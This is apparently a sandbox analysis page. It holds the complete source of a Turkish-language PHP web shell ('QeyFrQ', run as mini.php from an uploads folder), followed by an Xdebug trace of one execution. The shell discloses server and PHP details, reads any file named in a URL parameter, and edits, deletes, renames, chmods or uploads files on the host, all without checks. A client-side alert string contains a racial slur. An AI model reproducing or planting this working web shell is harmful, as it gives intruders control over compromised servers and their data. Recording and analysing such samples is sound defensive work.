Jump to:
Screenshot
Attributes
Environment
<?php
error_reporting(0);
$error = "";
function yourip()
{
echo $_SERVER['REMOTE_ADDR'];
}
function serverip()
{
echo getenv('SERVER_ADDR');
}
function servertime()
{
$date = date('d M Y');
$time = date('h:i:s');
echo $date . ' ' . $time;
}
function systeminfo()
{
echo php_uname();
}
function phpVer()
{
$ver = @phpversion();
echo 'PHP ' . $ver;
}
function serverapp()
{
echo $_SERVER['SERVER_SOFTWARE'];
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
?>
<!DOCTYPE html>
<head>
<title>QeyFrQ</title>
<meta charset="UTF-8"/>
<meta name= "robots" content= "noindex, nofollow, noarcive"/>
<link rel="stylesheet" href="" type="text/css"/>
<link href="https://fonts.googleapis.com/css?family=Ubuntu+Mono" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
<style>
*{
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding:0;
border:0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
font-size: 12px;
font-weight: normal;
}
input:focus, select:focus, textarea:focus, button:foucs
{
outline: none;
}
html, body
{
width: 100%;
height: 100%;
color: #222222;
}
body
{
background-color: #f0f0f0;
line-height: 17px;
}
a
{
text-decoration: none;
color: #fff;
}
a:hover
{
color: red;
text-decoration: none;
cursor: pointer;
}
p
{
padding: 8px 0;
}
table
{
width: 100%;
}
table td, table th
{
vertical-align: middle;
padding: 6px;
}
textarea, input, select
{
background: #fff;
padding: 8px;
border-radius: 8px;
color: #111;
border: 1px solid #ddd;
}
textarea
{
resize: vertical;
width: 100%;
height: 300px;
min-height: 300px;
max-width: 100%;
min-width: 100%;
}
hr
{
margin: 8px 0;
border-bottom: 1px dahsed #ddd;
}
video
{
width: 100%;
background: #222;
border-radius: 8px;
}
h1, h2
{
background: #e7e7;
border-bottom: 1px solid #ccc;
color: #000;
border-radius: 8px;
text-align: center;
cursor: pointer;
padding: 8px;
margin-bottom: 8px;
}
h1 a, h2 a
{
color: #000;
}
pre
{
word-break: break-all;
word-wrap: break-word;
}
pre
{
white-space: pre-wrap;
}
#bds
{
cursor: pointer;
}
#header
{
width: 100%;
position: fixed;
}
#headerNav
{
padding: 10px 8px 6px 8px;
background: #333;
}
#headerNav a
{
color: #efefef;
}
#menu
{
background: #006600;
height: 33px;
border-bottom: 3px solid red;
}
#menu .menuitem
{
float: left;
padding: 7px 12px 6px 12px;
height: 30px;
background: #006600;
color: #fff:
cursor: pointer;
}
#menu .menuitem:hover, #menu .menuitemSelected
{
background: green;
color: red;
font-weight: bold;
}
#menu .menuitemSelected
{
background: #768999;
}
#basicinfo
{
width:100%;
padding:8px;
border-bottom:1px dashed #dddddd;
}
#content
{
background:#f0f0f0;
height:100%;
padding:66px 8px 8px 8px;
}
#content .menucontent
{
background:#f0f0f0;
clear:both;
display:none;
padding:8px;
overflow-x:auto;
overflow-y:hidden;
}
#logout
{
float: right;
}
.boxclose
{
background:#222222;
border-radius:3px;
margin-right:8px;
margin-top:-3px;
padding:2px 8px;
cursor:pointer;
color:#ffffff;
}
.text
{
color: green;
}
.text2
{
color: red;
}
.title
{
background: #ddd;
border: 1px solid #ccc;
color: red;
border-radius: 8px;
text-align: center;
cursor: pointer;
}
.title a, .title a:hover
{
color: #000;
}
.boxtbl
{
border: 1px solid #ddd;
border-radius: 8px;
padding-bottom: 8px;
background: #;
}
.boxtbl td
{
vertical-align: middle;
padding: 8px 15px;
border-bottom: 1px dashed #ddd;
}
.boxtbl input, .boxtbl select, .boxtbl .button
{
width: 100%;
}
.button
{
min-width: 120px;
width: 120px;
margin: 2px;
color: #fff;
background: #7c94ab;
border: none;
padding: 8px;
border-radius: 8px;
display: block;
text-align: center;
cursor: pointer;
}
.button:hover
{
background: green;
color: red;
font-weight: bold;
}
#upload
{
display: none;
}
#rawbox
{
display: block;
}
</style>
</head>
<body>
<div id="wrapper">
<div id="header">
<div id="headerNav">
<span>
<a href="#">
imhatimi.org
</a>
</span>
<div style="color: white; display: inline-block; margin-left: 10px;">
<?php
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $pat == 0) {
$a = true;
echo "<a href=\"?path=/\">/</a>";
continue;
}
if ($pat == '') {
continue;
}
echo "<a href=\"?path=";
for ($i = 0; $i <= $id; $i++) {
echo $paths[$i];
if ($i != $id) {
echo "/";
}
}
echo '">' . $pat . '</a>/';
}
?>
</div>
</div>
<div id="menu">
<a class="menuitem" id="expl" href="#!explorer">
Explorer
</a>
<a class="menuitem" id="upll" href="#!upload">
</a>
</div>
</div>
</div><!---End Header ----->
<div id="content">
<div id="basicinfo">
<div id="toggleBasicInfo"></div>
<div></div>
Sunucunun IP Adresi : <?php
echo serverip();
?> <span style='color: red;'>|</span> Senin IP Adresin : <?php
echo yourip();
?>
<br/>
Time <span style='color: red;'>@</span> Server : <?php
echo servertime();
?>
<br/>
<?php
echo systeminfo();
?>
</br>
<?php
echo serverapp();
?> <span style='color: red;'>|</span> <?php
echo phpVer();
?>
</div>
<!----<center>
<font size= "3">
Directory Isn't readable.
</font>
</center>----->
<?php
if (isset($_GET['fileraw'])) {
echo "\n\t\t\t\t\t\t\t<table id=\"rawbox\" class=\"boxtbl\">\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th colspan= \"2\">\n\t\t\t\t\t\t\t<p class=\"title\">\n\t\t\t\t\t\t\t\tKod Onizle\n\t\t\t\t\t\t\t</p>\n\t\t\t\t\t\t</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td colspan=\"2\">";
echo '<pre>' . htmlspecialchars(file_get_contents($_GET['fileraw'])) . '</pre>';
echo "</td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\t\t\t</table>";
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '<center>' . $_POST['path'] . '<br/><br/>';
if ($_POST['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
if (chmod($_POST['path'], $_POST['perm'])) {
echo "<font color=\"green\">Basarili</font>";
} else {
echo "<font color=\"red\">Basarsiz</font>";
}
}
echo '<form method="post">Permission: <input type="" name="perm" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '"/><input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="chmod"> <input type="submit" value="G" /> </form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<font color=\"green\">Basarili.</font><br />";
} else {
echo "<font color=\"red\">Basarisiz.</font><br />";
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST"> New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Go" /> </form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<font color=\"green\">Edit File Done ~_^.</font><br />";
} else {
echo "<font color=\"green\">Edit File Error ~_^.</font><br />";
}
fclose($fp);
}
echo '<form method="POST"> <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br /> <input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="edit"> <input type="submit" value="Go" /> </form>';
}
echo "</center>";
} else {
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if (rmdir($_POST['path'])) {
echo "<font color=\"green\">Delete Dir Done.</font><br />";
} else {
echo "<font color=\"red\">Delete Dir Error.</font><br />";
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['path'])) {
echo "<font color=\"green\">Delete File Done.</font><br />";
} else {
echo "<font color=\"green\">Delete File Error.</font><br />";
}
}
}
}
?>
<section id="explorer" class="c">
<form method= "post" id="myform" name= "myForm">
<?php
$scandir = scandir($path);
echo "<table id=\"maintable\" style=\"width: 100%;\" align=\"center\" cellpadding=\"3\">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td colspan= \"7\">\n\t\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t<div id=\"showmydata\">\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr style=\"background-color: #ddd; color: red;\">\n\t\t\t\t\t\t<td colspan= \"8\" align=\"center\">\n\t\t\t\t\t\t\t\tListing Folder\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr style=\"background-color: #ddd; height: 12px;\">\n\t\t\t\t\t\t<th>Ad</th>\n\t\t\t\t\t\t<th>Boyut</th>\n\t\t\t\t\t\t<th>\xc4\xb0zin</th>\n\t\t\t\t\t\t<th>Secenekler</th>\n\t\t\t\t\t</tr>";
foreach ($scandir as $dir) {
if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
continue;
}
echo "<tr style=\"background-color: #ddd;\" onMouseOver= \"style.BackgroundColor=\"#000\"\" onMouseOut= \"style.BackgroundColor= \"#ddd\"\">\n\t\t\t\t\t\t\t<td class=\"info\">";
echo "<a href=\"?path={$path}/{$dir}\"><font class=\"text\"><center>{$dir}</center></font></a>";
echo "</td><td>\n\t\t\t\t\t\t\t\t<font class=\"text2\">\n\t\t\t\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t\t\tDIR\n\t\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t</font>\n\t\t\t\t\t\t\t</td><td><center>";
if (is_writable('$path/$dir')) {
echo "<font color=\"green\">";
} elseif (!is_readable($path / $dir)) {
echo "<font color=\"red\">";
}
echo perms('$path/$dir');
if (is_writable('$path/$dir') || !is_readable('$path/$dir')) {
echo "</font>";
}
echo "</center></td><td>\n\t\t\t\t\t\t\t\t<font class=\"text2\">\n\t\t\t\t\t\t\t\t\t<center>";
echo "<form action=\"?option&path={$path}\" method= \"post\">";
echo "<select name=\"opt\">\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"\\\">-----------</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"delete\">Sil</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"chmod\">\xc4\xb0zin</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"rename\">Yeniden Ad.</option>\n\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"type\" value=\"dir\">";
echo "<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">";
echo "<input type=\"submit\" value=\"Tamam\">\n\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t</font>\t\n\t\t\t\t\t\t\t</td></tr>";
}
//foreach
foreach ($scandir as $file) {
if (!is_file("{$path}/{$file}")) {
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo "<tr style=\"background-color: #ddd;\" onMouseOver= \"style.BackgroundColor=\"#000\"\" onMouseOut= \"style.BackgroundColor= \"#ddd\"\">\n\t\t\t\t\t\t\t<td class=\"info\">";
echo "<a id=\"fileraw\" href=\"?fileraw={$path}/{$file}&path={$path}\"><font class=\"text\"><center>{$file}</center></font></a>";
echo '</td>
<td>
<font class="text2">
<center>
' . $size . '
</center>
</font>
</td><td><center>';
if (is_writable("{$path}/{$file}")) {
echo "<p class=\"text\">";
} elseif (!is_readable("{$path}/{$file}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$file}")) {
echo "</font>";
}
echo "<td>\n\t\t\t\t\t\t\t\t<font class=\"text2\">\n\t\t\t\t\t\t\t\t\t<center>";
echo "<form action=\"?option&path={$path}\" method= \"post\">";
echo "<select name=\"opt\">\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"\\\">-----------</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"delete\">Delete</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"chmod\">Chmod</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"rename\">Rename</option>\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"edit\">Edit</option>\n\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"type\" value=\"file\">";
echo "<input type=\"hidden\" name=\"name\" value=\"{$file}\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">";
echo "<input type=\"submit\" value=\">\">\n\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t</font>\t\n\t\t\t\t\t\t\t</td></tr>";
}
echo "</table>";
?>
</form>
</section>
<section id="upload" class="content2">
<?php
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
$error = '<font style="color: green;">File Was Uploaded.</font><br/>';
} else {
$error = '<font style="color: red;">File wont Uploaded.</font><br/>';
}
}
?>
<form method= "post" id = "file" enctype= "multipart/form-data">
<table class="boxtbl">
<thead>
<tr>
<th colspan= "2">
<p class="title">
Upload
</p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td colspan= "2">
<input type="file" name="file"/>
</td>
</tr>
<tr>
<td colspan= "2">
<input class="button" id = "fileb" type="submit" value="Upload"/>
</td>
</tr>
</tbody>
</table>
</form>
</section>
</div>
<script type="text/javascript">
$(
function()
{
$('#upll').on('click',
function()
{
$('#explorer').hide();
$('#upload').css('display', 'block');
}
);
$('#expl').on('click',
function()
{
$('#upload').hide();
$('#explorer').css('display', 'block');
}
);
$('#fileraw').on('click',
function()
{
$('#eplorer').hide();
$('#rawbox').css('display', 'block');
}
);
$('#fileb').click(
function()
{
alert('File was Uploaded Nigga');
}
);
}
)
</script>
</body>
</html>
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:11:45.577032]
1 0 1 0.000173 393512
1 3 0 0.000517 459968 {main} 1 /var/www/html/uploads/mini.php 0 0
2 4 0 0.000537 459968 error_reporting 0 /var/www/html/uploads/mini.php 3 1 0
2 4 1 0.000554 460008
2 4 R 22527
1 A /var/www/html/uploads/mini.php 5 $error = ''
2 5 0 0.000588 460080 getcwd 0 /var/www/html/uploads/mini.php 361 0
2 5 1 0.000603 460128
2 5 R '/var/www/html/uploads'
1 A /var/www/html/uploads/mini.php 361 $path = '/var/www/html/uploads'
2 6 0 0.000640 460128 str_replace 0 /var/www/html/uploads/mini.php 364 3 '\\' '/' '/var/www/html/uploads'
2 6 1 0.000656 460224
2 6 R '/var/www/html/uploads'
1 A /var/www/html/uploads/mini.php 364 $path = '/var/www/html/uploads'
2 7 0 0.000681 460128 explode 0 /var/www/html/uploads/mini.php 366 2 '/' '/var/www/html/uploads'
2 7 1 0.000695 460704
2 7 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/mini.php 366 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/mini.php 368 $id = 0
1 A /var/www/html/uploads/mini.php 372 $a = TRUE
1 A /var/www/html/uploads/mini.php 368 $id = 1
1 A /var/www/html/uploads/mini.php 380 $i = 0
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 368 $id = 2
1 A /var/www/html/uploads/mini.php 380 $i = 0
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 368 $id = 3
1 A /var/www/html/uploads/mini.php 380 $i = 0
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 368 $id = 4
1 A /var/www/html/uploads/mini.php 380 $i = 0
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
1 A /var/www/html/uploads/mini.php 380 $i++
2 8 0 0.000932 460632 serverip 1 /var/www/html/uploads/mini.php 410 0
3 9 0 0.000944 460632 getenv 0 /var/www/html/uploads/mini.php 15 1 'SERVER_ADDR'
3 9 1 0.000958 460704
3 9 R '127.0.0.1'
2 8 1 0.000972 460632
2 8 R NULL
2 10 0 0.000986 460632 yourip 1 /var/www/html/uploads/mini.php 410 0
2 10 1 0.000997 460632
2 10 R NULL
2 11 0 0.001011 460632 servertime 1 /var/www/html/uploads/mini.php 412 0
3 12 0 0.001022 460632 date 0 /var/www/html/uploads/mini.php 21 1 'd M Y'
3 12 1 0.001077 462984
3 12 R '12 Feb 2023'
2 A /var/www/html/uploads/mini.php 21 $date = '12 Feb 2023'
3 13 0 0.001104 462952 date 0 /var/www/html/uploads/mini.php 23 1 'h:i:s'
3 13 1 0.001134 463240
3 13 R '05:11:19'
2 A /var/www/html/uploads/mini.php 23 $time = '05:11:19'
2 11 1 0.001158 462696
2 11 R NULL
2 14 0 0.001171 462696 systeminfo 1 /var/www/html/uploads/mini.php 414 0
3 15 0 0.001183 462696 php_uname 0 /var/www/html/uploads/mini.php 30 0
3 15 1 0.001196 462808
3 15 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2 14 1 0.001215 462696
2 14 R NULL
2 16 0 0.001228 462696 serverapp 1 /var/www/html/uploads/mini.php 416 0
2 16 1 0.001239 462696
2 16 R NULL
2 17 0 0.001252 462696 phpVer 1 /var/www/html/uploads/mini.php 416 0
3 18 0 0.001263 462696 phpversion 0 /var/www/html/uploads/mini.php 35 0
3 18 1 0.001275 462760
3 18 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2 A /var/www/html/uploads/mini.php 35 $ver = '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2 17 1 0.001302 462696
2 17 R NULL
2 19 0 0.001316 462696 scandir 0 /var/www/html/uploads/mini.php 530 1 '/var/www/html/uploads'
2 19 1 0.001352 463320
2 19 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'mini.php', 5 => 'prepend.php']
1 A /var/www/html/uploads/mini.php 530 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'mini.php', 5 => 'prepend.php']
2 20 0 0.001391 463336 is_dir 0 /var/www/html/uploads/mini.php 556 1 '/var/www/html/uploads/.'
2 20 1 0.001406 463400
2 20 R TRUE
2 21 0 0.001420 463368 is_dir 0 /var/www/html/uploads/mini.php 556 1 '/var/www/html/uploads/..'
2 21 1 0.001434 463416
2 21 R TRUE
2 22 0 0.001447 463376 is_dir 0 /var/www/html/uploads/mini.php 556 1 '/var/www/html/uploads/.htaccess'
2 22 1 0.001462 463416
2 22 R FALSE
2 23 0 0.001475 463376 is_dir 0 /var/www/html/uploads/mini.php 556 1 '/var/www/html/uploads/data'
2 23 1 0.001488 463416
2 23 R TRUE
2 24 0 0.001502 463320 is_writable 0 /var/www/html/uploads/mini.php 567 1 '$path/$dir'
2 24 1 0.001521 463360
2 24 R FALSE
2 25 0 0.001537 463320 is_readable 0 /var/www/html/uploads/mini.php 568 1 NAN
2 25 1 0.001553 463616
2 25 R FALSE
2 26 0 0.001567 463320 perms 1 /var/www/html/uploads/mini.php 569 1 '$path/$dir'
3 27 0 0.001579 463320 fileperms 0 /var/www/html/uploads/mini.php 47 1 '$path/$dir'
3 27 1 0.001601 463360
3 27 R FALSE
2 A /var/www/html/uploads/mini.php 47 $perms = FALSE
2 A /var/www/html/uploads/mini.php 71 $info = 'u'
2 A /var/www/html/uploads/mini.php 74 $info .= '-'
2 A /var/www/html/uploads/mini.php 75 $info .= '-'
2 A /var/www/html/uploads/mini.php 76 $info .= '-'
2 A /var/www/html/uploads/mini.php 77 $info .= '-'
2 A /var/www/html/uploads/mini.php 78 $info .= '-'
2 A /var/www/html/uploads/mini.php 79 $info .= '-'
2 A /var/www/html/uploads/mini.php 80 $info .= '-'
2 A /var/www/html/uploads/mini.php 81 $info .= '-'
2 A /var/www/html/uploads/mini.php 82 $info .= '-'
2 26 1 0.001715 463360
2 26 R 'u---------'
2 28 0 0.001729 463320 is_writable 0 /var/www/html/uploads/mini.php 570 1 '$path/$dir'
2 28 1 0.001744 463360
2 28 R FALSE
2 29 0 0.001757 463320 is_readable 0 /var/www/html/uploads/mini.php 570 1 '$path/$dir'
2 29 1 0.001771 463360
2 29 R FALSE
2 30 0 0.001785 463376 is_dir 0 /var/www/html/uploads/mini.php 556 1 '/var/www/html/uploads/mini.php'
2 30 1 0.001799 463416
2 30 R FALSE
2 31 0 0.001812 463384 is_dir 0 /var/www/html/uploads/mini.php 556 1 '/var/www/html/uploads/prepend.php'
2 31 1 0.001827 463432
2 31 R FALSE
2 32 0 0.001840 463376 is_file 0 /var/www/html/uploads/mini.php 595 1 '/var/www/html/uploads/.'
2 32 1 0.001855 463400
2 32 R FALSE
2 33 0 0.001868 463368 is_file 0 /var/www/html/uploads/mini.php 595 1 '/var/www/html/uploads/..'
2 33 1 0.001881 463416
2 33 R FALSE
2 34 0 0.001894 463376 is_file 0 /var/www/html/uploads/mini.php 595 1 '/var/www/html/uploads/.htaccess'
2 34 1 0.001908 463416
2 34 R TRUE
2 35 0 0.001921 463376 filesize 0 /var/www/html/uploads/mini.php 596 1 '/var/www/html/uploads/.htaccess'
2 35 1 0.001933 463416
2 35 R 64
1 A /var/www/html/uploads/mini.php 596 $size = 0.0625
2 36 0 0.001956 463320 round 0 /var/www/html/uploads/mini.php 597 2 0.0625 3
2 36 1 0.001970 463392
2 36 R 0.063
1 A /var/www/html/uploads/mini.php 597 $size = 0.063
1 A /var/www/html/uploads/mini.php 603 $size = '0.063 KB'
2 37 0 0.002006 463416 is_writable 0 /var/www/html/uploads/mini.php 617 1 '/var/www/html/uploads/.htaccess'
2 37 1 0.002021 463456
2 37 R FALSE
2 38 0 0.002034 463416 is_readable 0 /var/www/html/uploads/mini.php 618 1 '/var/www/html/uploads/.htaccess'
2 38 1 0.002049 463456
2 38 R TRUE
2 39 0 0.002062 463416 perms 1 /var/www/html/uploads/mini.php 619 1 '/var/www/html/uploads/.htaccess'
3 40 0 0.002074 463416 fileperms 0 /var/www/html/uploads/mini.php 47 1 '/var/www/html/uploads/.htaccess'
3 40 1 0.002087 463456
3 40 R 33188
2 A /var/www/html/uploads/mini.php 47 $perms = 33188
2 A /var/www/html/uploads/mini.php 56 $info = '-'
2 A /var/www/html/uploads/mini.php 74 $info .= 'r'
2 A /var/www/html/uploads/mini.php 75 $info .= 'w'
2 A /var/www/html/uploads/mini.php 76 $info .= '-'
2 A /var/www/html/uploads/mini.php 77 $info .= 'r'
2 A /var/www/html/uploads/mini.php 78 $info .= '-'
2 A /var/www/html/uploads/mini.php 79 $info .= '-'
2 A /var/www/html/uploads/mini.php 80 $info .= 'r'
2 A /var/www/html/uploads/mini.php 81 $info .= '-'
2 A /var/www/html/uploads/mini.php 82 $info .= '-'
2 39 1 0.002207 463456
2 39 R '-rw-r--r--'
2 41 0 0.002221 463424 is_writable 0 /var/www/html/uploads/mini.php 620 1 '/var/www/html/uploads/prepend.php'
2 41 1 0.002237 463464
2 41 R FALSE
2 42 0 0.002250 463416 is_readable 0 /var/www/html/uploads/mini.php 620 1 '/var/www/html/uploads/.htaccess'
2 42 1 0.002264 463456
2 42 R TRUE
2 43 0 0.002278 463416 is_file 0 /var/www/html/uploads/mini.php 595 1 '/var/www/html/uploads/data'
2 43 1 0.002292 463456
2 43 R FALSE
2 44 0 0.002305 463416 is_file 0 /var/www/html/uploads/mini.php 595 1 '/var/www/html/uploads/mini.php'
2 44 1 0.002319 463456
2 44 R TRUE
2 45 0 0.002331 463416 filesize 0 /var/www/html/uploads/mini.php 596 1 '/var/www/html/uploads/mini.php'
2 45 1 0.002344 463456
2 45 R 16635
1 A /var/www/html/uploads/mini.php 596 $size = 16.2451171875
2 46 0 0.002372 463320 round 0 /var/www/html/uploads/mini.php 597 2 16.2451171875 3
2 46 1 0.002385 463392
2 46 R 16.245
1 A /var/www/html/uploads/mini.php 597 $size = 16.245
1 A /var/www/html/uploads/mini.php 603 $size = '16.245 KB'
2 47 0 0.002588 463416 is_writable 0 /var/www/html/uploads/mini.php 617 1 '/var/www/html/uploads/mini.php'
2 47 1 0.002606 463456
2 47 R FALSE
2 48 0 0.002619 463416 is_readable 0 /var/www/html/uploads/mini.php 618 1 '/var/www/html/uploads/mini.php'
2 48 1 0.002634 463456
2 48 R TRUE
2 49 0 0.002647 463416 perms 1 /var/www/html/uploads/mini.php 619 1 '/var/www/html/uploads/mini.php'
3 50 0 0.002660 463416 fileperms 0 /var/www/html/uploads/mini.php 47 1 '/var/www/html/uploads/mini.php'
3 50 1 0.002672 463456
3 50 R 33204
2 A /var/www/html/uploads/mini.php 47 $perms = 33204
2 A /var/www/html/uploads/mini.php 56 $info = '-'
2 A /var/www/html/uploads/mini.php 74 $info .= 'r'
2 A /var/www/html/uploads/mini.php 75 $info .= 'w'
2 A /var/www/html/uploads/mini.php 76 $info .= '-'
2 A /var/www/html/uploads/mini.php 77 $info .= 'r'
2 A /var/www/html/uploads/mini.php 78 $info .= 'w'
2 A /var/www/html/uploads/mini.php 79 $info .= '-'
2 A /var/www/html/uploads/mini.php 80 $info .= 'r'
2 A /var/www/html/uploads/mini.php 81 $info .= '-'
2 A /var/www/html/uploads/mini.php 82 $info .= '-'
2 49 1 0.002789 463456
2 49 R '-rw-rw-r--'
2 51 0 0.002803 463424 is_writable 0 /var/www/html/uploads/mini.php 620 1 '/var/www/html/uploads/prepend.php'
2 51 1 0.002818 463464
2 51 R FALSE
2 52 0 0.002831 463416 is_readable 0 /var/www/html/uploads/mini.php 620 1 '/var/www/html/uploads/mini.php'
2 52 1 0.002849 463456
2 52 R TRUE
2 53 0 0.002884 463424 is_file 0 /var/www/html/uploads/mini.php 595 1 '/var/www/html/uploads/prepend.php'
2 53 1 0.002900 463472
2 53 R TRUE
2 54 0 0.002913 463432 filesize 0 /var/www/html/uploads/mini.php 596 1 '/var/www/html/uploads/prepend.php'
2 54 1 0.002926 463472
2 54 R 57
1 A /var/www/html/uploads/mini.php 596 $size = 0.0556640625
2 55 0 0.002962 463328 round 0 /var/www/html/uploads/mini.php 597 2 0.0556640625 3
2 55 1 0.002975 463400
2 55 R 0.056
1 A /var/www/html/uploads/mini.php 597 $size = 0.056
1 A /var/www/html/uploads/mini.php 603 $size = '0.056 KB'
2 56 0 0.003012 463432 is_writable 0 /var/www/html/uploads/mini.php 617 1 '/var/www/html/uploads/prepend.php'
2 56 1 0.003028 463472
2 56 R FALSE
2 57 0 0.003041 463432 is_readable 0 /var/www/html/uploads/mini.php 618 1 '/var/www/html/uploads/prepend.php'
2 57 1 0.003055 463472
2 57 R TRUE
2 58 0 0.003068 463432 perms 1 /var/www/html/uploads/mini.php 619 1 '/var/www/html/uploads/prepend.php'
3 59 0 0.003081 463432 fileperms 0 /var/www/html/uploads/mini.php 47 1 '/var/www/html/uploads/prepend.php'
3 59 1 0.003094 463472
3 59 R 33261
2 A /var/www/html/uploads/mini.php 47 $perms = 33261
2 A /var/www/html/uploads/mini.php 56 $info = '-'
2 A /var/www/html/uploads/mini.php 74 $info .= 'r'
2 A /var/www/html/uploads/mini.php 75 $info .= 'w'
2 A /var/www/html/uploads/mini.php 76 $info .= 'x'
2 A /var/www/html/uploads/mini.php 77 $info .= 'r'
2 A /var/www/html/uploads/mini.php 78 $info .= '-'
